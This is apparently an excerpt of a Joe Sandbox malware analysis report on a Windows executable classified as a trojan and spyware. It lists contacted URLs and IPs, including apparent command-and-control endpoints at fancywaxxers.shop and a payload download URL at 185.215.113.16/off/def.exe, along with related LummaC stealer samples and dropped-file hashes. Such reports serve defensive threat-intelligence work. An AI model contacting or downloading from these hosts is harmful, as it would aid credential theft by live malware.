http://polymer.github.io/CONTRIBUTORS.txt	chromecache_129.10.dr, chromecache_108.10.dr	false		high
https://fancywaxxers.shop:443/api	SMmAznmdAa.exe, 00000000.00000003.1805307717.0000000001923000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000002.1900386450.0000000001923000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://fancywaxxers.shop/f	SMmAznmdAa.exe, 00000000.00000003.1668963495.00000000019B3000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1667341038.00000000019B3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://fancywaxxers.shop/e	SMmAznmdAa.exe, 00000000.00000003.1667191172.00000000062C2000.00000004.00000800.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1667276993.00000000062C3000.00000004.00000800.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1666983216.00000000062BF000.00000004.00000800.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1667175511.00000000062BF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md	chromecache_96.10.dr	false		high
https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725	chromecache_96.10.dr	false		high
https://client-api.arkoselabs.com/v2/api.js	chromecache_129.10.dr, chromecache_108.10.dr	false		high
https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl	chromecache_129.10.dr, chromecache_108.10.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev	chromecache_129.10.dr, chromecache_108.10.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	SMmAznmdAa.exe, 00000000.00000003.1639080923.000000000626B000.00000004.00000800.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1638999880.000000000626B000.00000004.00000800.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1638879331.000000000626E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Thraka	chromecache_96.10.dr	false		high
http://polymer.github.io/PATENTS.txt	chromecache_129.10.dr, chromecache_108.10.dr	false		high
https://aka.ms/certhelp	chromecache_129.10.dr, chromecache_108.10.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	SMmAznmdAa.exe, 00000000.00000003.1639080923.000000000626B000.00000004.00000800.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1638999880.000000000626B000.00000004.00000800.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1638879331.000000000626E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fancywaxxers.shop/U	SMmAznmdAa.exe, 00000000.00000003.1710511321.00000000019B3000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1698514123.00000000019B3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crl.rootca1.amazontrust.com/rootca1.crl0	SMmAznmdAa.exe, 00000000.00000003.1667786455.00000000062DA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mairaw	chromecache_96.10.dr	false		high
https://fancywaxxers.shop/Z	SMmAznmdAa.exe, 00000000.00000003.1637025679.0000000001947000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1637211350.0000000001955000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://ocsp.rootca1.amazontrust.com0:	SMmAznmdAa.exe, 00000000.00000003.1667786455.00000000062DA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://schema.org	chromecache_108.10.dr	false		high
http://polymer.github.io/LICENSE.txt	chromecache_129.10.dr, chromecache_108.10.dr	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696491991400800003.2&ci=1696491991993.	SMmAznmdAa.exe, 00000000.00000003.1698307784.0000000001982000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1688108094.0000000001982000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1699214166.0000000001982000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	SMmAznmdAa.exe, 00000000.00000003.1639080923.000000000626B000.00000004.00000800.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1638999880.000000000626B000.00000004.00000800.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1638879331.000000000626E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	SMmAznmdAa.exe, 00000000.00000003.1669067780.0000000006352000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_15d7e4b694824b33323940336fbf0bead57d89764383fe44	SMmAznmdAa.exe, 00000000.00000003.1698307784.0000000001982000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1688108094.0000000001982000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1699214166.0000000001982000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1805232419.0000000001990000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aka.ms/yourcaliforniaprivacychoices	chromecache_96.10.dr	false		high
https://fancywaxxers.shop:443/apitPK	SMmAznmdAa.exe, 00000000.00000003.1698307784.0000000001923000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ac.ecosia.org/autocomplete?q=	SMmAznmdAa.exe, 00000000.00000003.1639080923.000000000626B000.00000004.00000800.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1638999880.000000000626B000.00000004.00000800.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1638879331.000000000626E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/nschonni	chromecache_96.10.dr	false		high
http://185.215.113.16/	SMmAznmdAa.exe, 00000000.00000003.1805307717.000000000193A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://fancywaxxers.shop/E	SMmAznmdAa.exe, 00000000.00000003.1668963495.00000000019B3000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1667341038.00000000019B3000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05	chromecache_129.10.dr, chromecache_108.10.dr	false		high
https://github.com/adegeo	chromecache_96.10.dr	false		high
http://crl.micro	SMmAznmdAa.exe, 00000000.00000003.1637211350.0000000001982000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1698307784.0000000001982000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1688108094.0000000001982000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1699214166.0000000001982000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	SMmAznmdAa.exe, 00000000.00000003.1698307784.0000000001982000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1688108094.0000000001982000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1699214166.0000000001982000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16:80/off/def.exe	SMmAznmdAa.exe, 00000000.00000003.1805307717.0000000001923000.00000004.00000020.00020000.00000000.sdmp	false		high
https://fancywaxxers.shop:443/api-	SMmAznmdAa.exe, 00000000.00000003.1637025679.0000000001923000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://fancywaxxers.shop/apiF	SMmAznmdAa.exe, 00000000.00000003.1668963495.00000000019B3000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1667341038.00000000019B3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/jonschlinkert/is-plain-object	chromecache_129.10.dr, chromecache_108.10.dr	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	SMmAznmdAa.exe, 00000000.00000003.1667786455.00000000062DA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://octokit.github.io/rest.js/#throttling	chromecache_129.10.dr, chromecache_108.10.dr	false		high
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	SMmAznmdAa.exe, 00000000.00000003.1698307784.0000000001982000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1688108094.0000000001982000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1699214166.0000000001982000.00000004.00000020.00020000.00000000.sdmp	false		high
https://fancywaxxers.shop/api0	SMmAznmdAa.exe, 00000000.00000003.1637025679.0000000001947000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1637211350.0000000001955000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696491991400800003.1&ci=1696491991993.12791&cta	SMmAznmdAa.exe, 00000000.00000003.1698307784.0000000001982000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1688108094.0000000001982000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1699214166.0000000001982000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/js-cookie/js-cookie	chromecache_129.10.dr, chromecache_108.10.dr	false		high
http://185.215.113.16/off/def.exe	SMmAznmdAa.exe, 00000000.00000002.1900202564.00000000015BB000.00000004.00000010.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1805642509.0000000001955000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000002.1900386450.000000000199A000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1805232419.000000000199A000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1805307717.0000000001947000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schema.org/Organization	chromecache_96.10.dr	false		high
https://fancywaxxers.shop/	SMmAznmdAa.exe, 00000000.00000003.1668963495.00000000019B3000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1637025679.000000000191C000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1667341038.00000000019B3000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1698271054.000000000199A000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1688108094.000000000193A000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1689009922.000000000193A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://channel9.msdn.com/	chromecache_129.10.dr, chromecache_108.10.dr	false		high
https://fancywaxxers.shop/-	SMmAznmdAa.exe, 00000000.00000003.1698514123.00000000019B3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	SMmAznmdAa.exe, 00000000.00000003.1639080923.000000000626B000.00000004.00000800.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1638999880.000000000626B000.00000004.00000800.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1638879331.000000000626E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/try	chromecache_129.10.dr, chromecache_108.10.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.48.1	fancywaxxers.shop	United States	13335	CLOUDFLARENETUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.186.100	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.8
192.168.2.16
192.168.2.11

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1582825
Start date and time:	2024-12-31 15:40:32 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 30s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SMmAznmdAa.exe renamed because original name is a hash value
Original Sample Name:	81c26ae8bb24c97cd8fc89bcfd82e413.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@24/72@11/7
EGA Information:	Failed
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.210.172, 192.229.221.95, 142.250.185.67, 184.28.89.167, 142.250.184.206, 64.233.166.84, 142.250.185.238, 23.32.186.2, 142.250.181.238, 2.16.168.100, 2.16.168.102, 142.250.185.142, 142.250.181.234, 142.250.185.106, 142.250.184.234, 142.250.185.74, 142.250.186.170, 142.250.185.202, 172.217.18.106, 142.250.185.234, 172.217.16.202, 172.217.23.106, 142.250.186.74, 216.58.212.170, 216.58.206.74, 142.250.185.138, 142.250.185.170, 216.58.206.42, 20.189.173.18, 13.74.129.1, 20.189.173.5, 204.79.197.237, 13.107.21.237, 172.217.18.110, 142.250.74.206, 142.250.185.206, 142.250.186.174, 142.250.186.163, 142.250.185.78, 172.217.16.142, 142.251.40.110, 74.125.0.137, 172.217.23.110, 20.12.23.50, 13.107.246.45, 184.28.90.27, 23.206.229.226
Excluded domains from analysis (whitelisted): onedscolprdwus04.westus.cloudapp.azure.com, slscr.update.microsoft.com, c-msn-com-nsatc.trafficmanager.net, clientservices.googleapis.com, browser.events.data.trafficmanager.net, learn.microsoft.com, onedscolprdwus15.westus.cloudapp.azure.com, e11290.dspg.akamaiedge.net, mdec.nelreports.net.akamaized.net, go.microsoft.com, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, star-azurefd-prod.trafficmanager.net, a1883.dscd.akamai.net, learn.microsoft.com.edgekey.net, update.googleapis.com, clients1.google.com, www.bing.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, r4.sn-ab5l6nk6.gvt1.com, otelrules.azureedge.net, c-bing-com.dual-a-0034.a-msedge.net, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, browser.events.data.microsoft.com, edgedl.me.gvt1.com, e13636.dscb.akamaiedge.net, c.bing.com, learn-public.trafficmanager.
Execution Graph export aborted for target SMmAznmdAa.exe, PID 1456 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: SMmAznmdAa.exe

Simulations

Behavior and APIs

Time	Type	Description
09:41:52	API Interceptor	9x Sleep call for process: SMmAznmdAa.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.48.1	SH8ZyOWNi2.exe	Get hash	malicious	CMSBrute	Browse	twirpx.org/administrator/index.php
104.21.48.1	SN500, SN150 Spec.exe	Get hash	malicious	FormBook	Browse	www.antipromil.site/7ykh/
185.215.113.16	zhMQ0hNEmb.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	2RxMkSAgZ8.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	Dl6wuWiQdg.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	185.215.113.16/mine/random.exe
	bzzF5OFbVi.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	UmotQ1qjLq.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	l0zocrLiVW.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	TdloJt4gY3.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	726odELDs8.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	v5Evrl41VR.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	8WFJ38EJo5.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0017.t-0009.t-msedge.net	ds1bfe33xg.exe	Get hash	malicious	RedLine	Browse	13.107.246.45
	u233hvgTow.exe	Get hash	malicious	RedLine	Browse	13.107.246.45
	zhMQ0hNEmb.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	2RxMkSAgZ8.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	bzzF5OFbVi.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	6684V5n83w.exe	Get hash	malicious	Vidar	Browse	13.107.246.45
	Bp4LoSXw83.lnk	Get hash	malicious	Unknown	Browse	13.107.246.45
	COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	UmotQ1qjLq.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	Open Purchase Order Summary Details-16-12-2024.vbs	Get hash	malicious	LodaRAT, XRed	Browse	13.107.246.45
fancywaxxers.shop	zhMQ0hNEmb.exe	Get hash	malicious	LummaC	Browse	104.21.112.1
	2RxMkSAgZ8.exe	Get hash	malicious	LummaC	Browse	104.21.64.1
	Dl6wuWiQdg.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	104.21.112.1
	bzzF5OFbVi.exe	Get hash	malicious	LummaC	Browse	104.21.64.1
	x6VtGfW26X.exe	Get hash	malicious	LummaC	Browse	104.21.112.1
	Launcher.exe	Get hash	malicious	LummaC	Browse	104.21.96.1
	GTA-5-Mod-Menu-2025.exe	Get hash	malicious	LummaC	Browse	104.21.96.1
	AquaDiscord-2.0.exe	Get hash	malicious	LummaC	Browse	104.21.16.1
	random.exe	Get hash	malicious	LummaC	Browse	104.21.48.1
	UmotQ1qjLq.exe	Get hash	malicious	LummaC	Browse	104.21.96.1

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	DypA6KbLrn.lnk	Get hash	malicious	Unknown	Browse	104.21.87.65
	IOnqEVA4Dz.lnk	Get hash	malicious	Unknown	Browse	172.67.129.82
	HngJMpDqxP.lnk	Get hash	malicious	Unknown	Browse	188.114.97.3
	https://br.custmercompa.de/	Get hash	malicious	Unknown	Browse	172.67.139.222
	tyPafmiT0t.exe	Get hash	malicious	44Caliber Stealer, BlackGuard, Rags Stealer	Browse	188.114.96.3
	vEtDFkAZjO.exe	Get hash	malicious	RL STEALER, StormKitty	Browse	104.21.85.189
	Invoice-BL. Payment TT $ 28,945.99.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	172.67.196.114
	Statement of Account - USD 16,720.00.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	MJhe4xWsnR.msi	Get hash	malicious	Unknown	Browse	162.159.61.3
	MJhe4xWsnR.msi	Get hash	malicious	Unknown	Browse	172.64.41.3
WHOLESALECONNECTIONSNL	5EfYBe3nch.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LiteHTTP Bot, LummaC Stealer, Poverty Stealer, Stealc	Browse	185.215.113.206
	zhMQ0hNEmb.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	2RxMkSAgZ8.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	Dl6wuWiQdg.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	185.215.113.16
	bzzF5OFbVi.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	UmotQ1qjLq.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	l0zocrLiVW.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	TdloJt4gY3.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	726odELDs8.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	v5Evrl41VR.exe	Get hash	malicious	LummaC	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	zhMQ0hNEmb.exe	Get hash	malicious	LummaC	Browse	104.21.48.1
	2RxMkSAgZ8.exe	Get hash	malicious	LummaC	Browse	104.21.48.1
	Dl6wuWiQdg.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	104.21.48.1
	bzzF5OFbVi.exe	Get hash	malicious	LummaC	Browse	104.21.48.1
	PO#5_tower_Dec162024.cmd	Get hash	malicious	DBatLoader	Browse	104.21.48.1
	x6VtGfW26X.exe	Get hash	malicious	LummaC	Browse	104.21.48.1
	re5.mp4.hta	Get hash	malicious	LummaC	Browse	104.21.48.1
	Poket.mp4.hta	Get hash	malicious	LummaC	Browse	104.21.48.1
	Exlan_setup_v3.1.2.exe	Get hash	malicious	LummaC	Browse	104.21.48.1
	Set-up.exe	Get hash	malicious	LummaC, GO Backdoor, LummaC Stealer	Browse	104.21.48.1

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 31 13:42:24 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.982426684478639
Encrypted:	false
SSDEEP:	48:8J0dJWTpyqprbHSidAKZdA1oehwiZUklqehAy+3:8JmWl3pZPy
MD5:	D3E4EAD495149E63C84447D996902DC7
SHA1:	81E176B933A5B4A1075F2F9ADF2FD45F72D142CB
SHA-256:	CADE331DE6A18CB62AEADFE7E9FF814302CA61816566914D7B634CAFE32118E7
SHA-512:	CA5C2ABB8F1DB69F1B5EBA8FADF256857AB46DA0512215D715BE94F614286D2F81A21A562F238B148DE0BB69CE18068E1BDEFFFA4E9CA2563156431444DD6EC9
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.......4.[..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.I.YJu....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.YJu....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.YJu....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.YJu..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.YMu...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............L./.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 31 13:42:24 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9972240042112435
Encrypted:	false
SSDEEP:	48:8OC0dJWTpyqprbHSidAKZdA1leh/iZUkAQkqeh/y+2:8OCmWl3pL9Qiy
MD5:	77C2660354E06AB4BE3767C09F33A404
SHA1:	AC68181F3F7EFFF40A34F5DBA51EF53EB8519211
SHA-256:	A61402F740E8FBB25109BFD118508EFEE241AF8429D8766EC9C630D41D2B4D06
SHA-512:	494FD7A57A1320B9D0F5007D1CF038F2B334545A7D2B1F9B6139D4E8473038FA6F01FD852826D192F534438EBF9851B70FC1BC8D0C8C171E09AA55ECCCCDBAED
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.......4.[..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.I.YJu....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.YJu....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.YJu....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.YJu..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.YMu...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............L./.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 5 07:00:51 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.0076958514565915
Encrypted:	false
SSDEEP:	48:8J0dJWTpyqpbHSidAKZdA14t5eh7sFiZUkmgqeh7sZy+BX:8JmWl3p3nLy
MD5:	0539B0E745447FE66A95AAE2A5C7AF66
SHA1:	9115B7B1E78167151EAF458BD9C8D678421EAFF4
SHA-256:	E9FE57786D684F7E0B797956D11762AED424B507B599748FC81C9C20F3E3CEF5
SHA-512:	D3852A88461277B9E8C717A991ADA54F7D81668F3F914C33910305BF642E44006E64E46FB11CDEB664D870CD9D5603FAE5A8A8C6ED4C74603BF467F3C6569DAC
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....C..b...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.I.YJu....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.YJu....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.YJu....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.YJu..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VEW.@...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............L./.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
